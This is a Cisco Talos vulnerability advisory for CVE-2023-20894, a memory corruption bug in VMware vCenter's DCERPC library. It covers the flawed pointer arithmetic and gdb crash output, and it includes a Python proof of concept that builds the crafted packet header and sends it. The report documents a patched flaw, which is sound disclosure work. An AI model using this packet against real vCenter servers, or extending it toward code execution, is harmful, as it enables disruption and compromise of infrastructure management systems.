CVE-2023-20894
A memory corruption vulnerability exists in the DCERPC functionality of VMware vCenter Server 7.0.3.01000. A specially crafted network packet can lead to an out-of-bounds write. An attacker can send a malicious packet to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
VMware vCenter Server 7.0.3.01000
vCenter Server - https://www.vmware.com/products/vcenter-server.html
8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-823 - Use of Out-of-range Pointer Offset
VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.
VMware vCenter is a key component of VMware vSphere, typically used in cloud environments, enabling advanced management of VMs. It enables a number of services like certificate management, directory services, single sign-on, etc. Some services use the DCERPC protocol for communication, with the implementation provided by the Likewise-Open library. Specifically, it is used in the daemons for VMware Certificate Management Service (vmcad, port 2014), VMware Directory Service (vmdird, port 2012) and VMware Authentication Framework (vmafdd, port 2020), accessible by default from the local network.
The library provides a custom implementation of lists to track heap objects. For every list type there is a list descriptor that denotes the allocation and deallocation functions for each element, element size, etc. In our case, we are interested in what the library calls fragment buffers that hold data received from the network, with the following definition:
struct rpc_cn_fragbuf_s_t
{
rpc_list_t link; /* MUST BE 1ST */
unsigned32 freebuf;
unsigned32 max_data_size;
rpc_cn_fragbuf_dealloc_fn_t fragbuf_dealloc; [1]
pointer_t data_p; [2]
unsigned32 data_size;
unsigned8 overhead_area[RPC_C_CN_OVERHEAD_SIZE];
unsigned8 data_area[1]; [3]
};
Note that at [1] there is a function pointer that is called when the object is freed. In the initialization of the relevant list descriptor we see:
#define RPC_C_CN_LARGE_FRAG_SIZE (1024 * 20)
RPC_C_CN_LG_FRAGBUF_ALLOC_SIZE =
sizeof(rpc_cn_fragbuf_t) + RPC_C_CN_LARGE_FRAG_SIZE - 1, [4]
...
rpc__list_desc_init (&rpc_g_cn_lg_fbuf_lookaside_list,
RPC_C_CN_FRAGBUF_LOOKASIDE_MAX,
RPC_C_CN_LG_FRAGBUF_ALLOC_SIZE + 7, [5]
RPC_C_MEM_CN_LG_FRAGBUF,
NULL,
NULL,
NULL,
NULL);
...
At [4], the total size of the fragment buffer is calculated as the size of the fragment buffer structure plus 1024 * 20 = 0x5000
. This size is used at [5] to initialize the element size in the fragment buffer list descriptor table, adding 7 for alignment reasons.
It is evident that every fragment buffer includes the fragment buffer metadata and the actual data received from the network, denoted as data_area
at [3] above, where data_p
at [2] also points to data_area
. Essentially, the memory layout of the fragment buffer can be visualized as:
[fragment buffer metadata][data area with size 0x5000]
The library parses packets from the network in order to execute the appropriate RPC call. The packet header has the following type signature:
typedef struct
{
unsigned8 rpc_vers; /* 00:01 RPC version - major */
unsigned8 rpc_vers_minor; /* 01:01 RPC version - minor */
unsigned8 ptype; /* 02:01 packet type */
unsigned8 flags; /* 03:01 flags */
unsigned8 drep[4]; /* 04:04 ndr format */
unsigned16 frag_len; /* 08:02 fragment length */
unsigned16 auth_len; /* 10:02 authentication length */
unsigned32 call_id; /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;
We see that the packet header includes lots of information like the protocol version, packet type, the identifier for the RPC call, etc. More importantly, it includes auth_len
, a length that is used to calculate the location of authentication information later, in rpc__cn_unpack_hdr()
. Here pkt_p
is the data_p
pointer from the fragment buffer that points to the data received from the network.
PRIVATE unsigned32 rpc__cn_unpack_hdr
(
rpc_cn_packet_p_t pkt_p,
unsigned32 datasize
)
{
rpc_cn_auth_tlr_p_t authp; /* ptr to pkt authentication data */
...
authp = RPC_CN_PKT_AUTH_TLR (pkt_p, RPC_CN_PKT_FRAG_LEN (pkt_p)); [6]
...
SWAB_IN_PLACE32(authp->key_id); [7]
...
}
At [6] the RPC_CN_PKT_FRAG_LEN()
and RPC_CN_PKT_AUTH_TLR()
macros are used to get the frag_len
and auth_len
offsets respectively from the header received data. These offsets are then added to the pkt_p
pointer to calculate authp
. In the relevant macros we see:
#define RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) (RPC_CN_PKT_AUTH_LEN(pkt_p) != 0)
...
#define RPC_CN_PKT_AUTH_TLR_LEN(pkt_p) \
(RPC_CN_PKT_AUTH_TLR_PRESENT(pkt_p) ? (RPC_CN_PKT_AUTH_LEN(pkt_p) +\
RPC_CN_PKT_SIZEOF_COM_AUTH_TLR) : 0)
...
#define RPC_CN_PKT_SIZEOF_COM_AUTH_TLR 8
...
#define RPC_CN_PKT_AUTH_TLR(pkt_p, pkt_len)\
(rpc_cn_auth_tlr_t *) ((unsigned_char_p_t)(pkt_p) + pkt_len - RPC_CN_PKT_AUTH_TLR_LEN(pkt_p))
...
#define RPC_CN_PKT_FRAG_LEN(pkt_p) (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.frag_len)
#define RPC_CN_PKT_AUTH_LEN(pkt_p) (RPC_CN_HDR_BIND(pkt_p).hdr.common_hdr.auth_len)
Simplifying the calculation from the macros and the offsets above, authp
is calculated as follows:
authp = pkt_p + frag_len - (auth_len + 8)
Then the code proceeds at [7] to perform a swab operation, namely changing the order of the bytes from big-endian to little-endian.
#define SWAB_32(field) ( \
((field & 0xff000000) >> 24) | \
((field & 0x00ff0000) >> 8) | \
((field & 0x0000ff00) << 8) | \
((field & 0x000000ff) << 24) \
)
#endif /* SWAB_32 */
...
#define SWAB_INPLACE_32(field) { \
field = SWAB_32(field); \
}
The code at [7] does not check the bounds of the newly calculated pointer. As a result, an attacker can influence the value of authp
to point to memory before the start of pkt_p
. Since auth_len
is of type uint16_t
, its maximum value is 0xffff
. However the following code in dcerpc/ncklib/cnrcvr.c performs some bounds checking at [8] below:
auth_len = RPC_CN_PKT_AUTH_LEN (pktp);
auth_tlr = (rpc_cn_auth_tlr_t *) ((unsigned8 *)(pktp) +
fragbuf_p->data_size - (auth_len + RPC_CN_PKT_SIZEOF_COM_AUTH_TLR));
if (((unsigned8 *)(auth_tlr) < (unsigned8 *)(pktp)) || [8]
((unsigned8 *)(auth_tlr) > (unsigned8 *)(pktp) + fragbuf_p->data_size) ||
((unsigned8 *)(auth_tlr) + auth_len < (unsigned8 *)(pktp)) ||
((unsigned8 *)(auth_tlr) + auth_len > (unsigned8 *)(pktp) + fragbuf_p->data_size) )
{
...
st = rpc_s_protocol_error;
break;
}
As a result, the valid maximum value for auth_len
is 0x5000 - 8 = 0x4ff8
, meaning that an attacker can make authp
point up to 0x4ff8
bytes before pkt_p
and perform a swab operation on that memory location, changing the order of the bytes.
This could be used as an exploitation primitive in order to achieve code execution. One possible path to exploitation is to increase/decrease buffer lengths saved in memory that could lead to a buffer overflow. As a PoC, we perform a swab operation in order to corrupt the value of a function pointer in the rpc_cn_fragbuf_s_t
structure at [1].
If we manage to set the authp
pointer to point to fragbuf_dealloc
in the fragment buffer structure, the function pointer will have its bytes swapped. Getting the offsets from the debugger is easy enough:
gef➤ p/x &fragbuf_p->data_area
$10 = 0x7fffb8000900
gef➤ p/x &fragbuf_p->fragbuf_dealloc
$12 = 0x7fffb80008e8
gef➤ p/x 0x7fffb8000900-0x7fffb80008e8
$13 = 0x18
So the function pointer resides 0x18
bytes before the pkt_p
pointer. From the simplified calculation for authp
we have
authp = pkt_p + frag_len - (auth_len + 8)
Solving for auth_len
and conveniently setting frag_len
to 0, we get auth_len = 0x10
. In essence, setting the auth_len
to 0x10
will cause authp
to point to the location of the fragbuf_dealloc
function pointer in fragbuf_p
. Note however that at [7], the swab operation is performed at authp->key_id
, which resides 4 bytes after authp
, as seen at [9] in the structure definition below.
typedef struct
{
unsigned8 auth_type; /* :01 which authent service */
unsigned8 auth_level; /* :01 which level within service */
unsigned8 stub_pad_length; /* :01 length of stub padding */
unsigned8 reserved; /* :01 alignment pad m.b.z. */
unsigned32 key_id; /* :04 key ID */ [9]
unsigned8 auth_value[1]; /* :yy [size_is (auth_length)] credentials */
/* No trailing alignment needed here */
} rpc_cn_auth_tlr_t, *rpc_cn_auth_tlr_p_t;
Finally, since in the x86-64 architecture the function pointer will be 8 bytes, the last 4 bytes of the function pointer will be swapped. Since the pointer is saved in little-endian however, the 4 most significant bytes of the function pointer will be swapped. Before the corruption, inspecting the function pointer yields the value:
gef➤ p/x fragbuf_p->fragbuf_dealloc
$11 = 0x7ffff7cf2218
Where 0x7ffff7cf2218
points to rpc__cn_fragbuf_free()
, responsible for freeing the object. After the corruption and continuing the execution, the program crashes at _RPC_CN_ASSOC_EVAL_NETWORK_EVENT()
where the function pointer is called.
Thread 86 "vmcad" received signal SIGSEGV, Segmentation fault.
0x00007ffff7cfc75e in _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (assoc=0x7fffbc0009a0, event_id=0x67, fragbuf=0x7fffb40008d0, st=0x7ffff4520194) at ../../../dcerpc/ncklib/cninline.c:136
136 (*(fragbuf)->fragbuf_dealloc)((fragbuf));
gef➤ x/i $pc
=> 0x7ffff7cfc75e <_RPC_CN_ASSOC_EVAL_NETWORK_EVENT+132>: call rax
gef➤ i r $rax
rax 0xff7f0000f7cf2218 0xff7f0000f7cf2218
The function pointer is now 0xff7f0000f7cf2218
leading to a segmentation fault. Note that the 4 last bytes of the function pointer remain the same, but the first 4 bytes of the pointer are swapped compared to the previous value of the function pointer.
gef➤ backtrace
#0 0xff7f0000f7cf2218 in ?? ()
#1 0x00007ffff7cfc760 in _RPC_CN_ASSOC_EVAL_NETWORK_EVENT (assoc=0x7fffc00009a0, event_id=0x67, fragbuf=0x7fffb80008d0, st=0x7ffff4520194) at ../../../dcerpc/ncklib/cninline.c:136
#2 0x00007ffff7cf63c6 in receive_dispatch (assoc=0x7fffc00009a0) at ../../../dcerpc/ncklib/cnrcvr.c:1255
#3 0x00007ffff7cf4e55 in rpc__cn_network_receiver (assoc=0x7fffc00009a0) at ../../../dcerpc/ncklib/cnrcvr.c:349
#4 0x00007ffff7c6fead in proxy_start (arg=0x7fffc0000bf0) at ../../../dcerpc/libdcethread/dcethread_create.c:100
#5 0x00007ffff751ff87 in start_thread () from /lib/libpthread.so.0
#6 0x00007ffff741062f in clone () from /lib/libc.so.6
Apart from a carefully selected auth_len
, it is easy for an attacker to craft such a packet header. In the packet header structure, we have:
typedef struct
{
unsigned8 rpc_vers; /* 00:01 RPC version - major */
unsigned8 rpc_vers_minor; /* 01:01 RPC version - minor */
unsigned8 ptype; /* 02:01 packet type */
unsigned8 flags; /* 03:01 flags */
unsigned8 drep[4]; /* 04:04 ndr format */
unsigned16 frag_len; /* 08:02 fragment length */
unsigned16 auth_len; /* 10:02 authentication length */
unsigned32 call_id; /* 12:04 call identifier */
} rpc_cn_common_hdr_t, *rpc_cn_common_hdr_p_t;
The code appears to only issue a warning in the case of protocol version mismatch. Also, there are many packet types that hit the vulnerable code path, like RPC_C_CN_PKT_ALTER_CONTEXT = 0xe
, RPC_C_CN_PKT_BIND = 0xb
, etc. The other values can be pretty much set to zero. In addition, at least 10
bytes of zeroes appear to be needed after the header, which we provide as padding
. We add 0x1000
bytes of A
’s in order to satisfy the code responsible for receiving data.
...
header = bytearray().join([
struct.pack(">B", 0x00), # version
struct.pack(">B", 0x00), # version minor
struct.pack(">B", 0x0e), # ptype
struct.pack(">B", 0x00), # flags
struct.pack(">I", 0x00), # ndrep
struct.pack(">H", 0x0000), # frag_len
struct.pack(">H", 0x0010), # auth_len
struct.pack(">I", 0x1337), # call id
])
padding = bytearray(b'\x00'*0xa)
payload = bytearray(b'\x41'*0x1000)
...
sock.send(header)
sock.send(padding)
sock.send(payload)
...
In vCenter we see the the following in dmesg
:
[ 7462.920062] traps: vmcad[12810] general protection ip:7fcdb6f151d7 sp:7fcdb012ffd8 error:0 in libdcerpc.so.1.2.0[7fcdb6e97000+b7000]
The vendor provided an advisory and fixes: https://www.vmware.com/security/advisories/VMSA-2023-0014.html
2022-11-15 - Vendor Disclosure
2023-06-22 - Vendor Patch Release
2023-07-13 - Public Release
Discovered by Dimitrios Tatsis of Cisco Talos.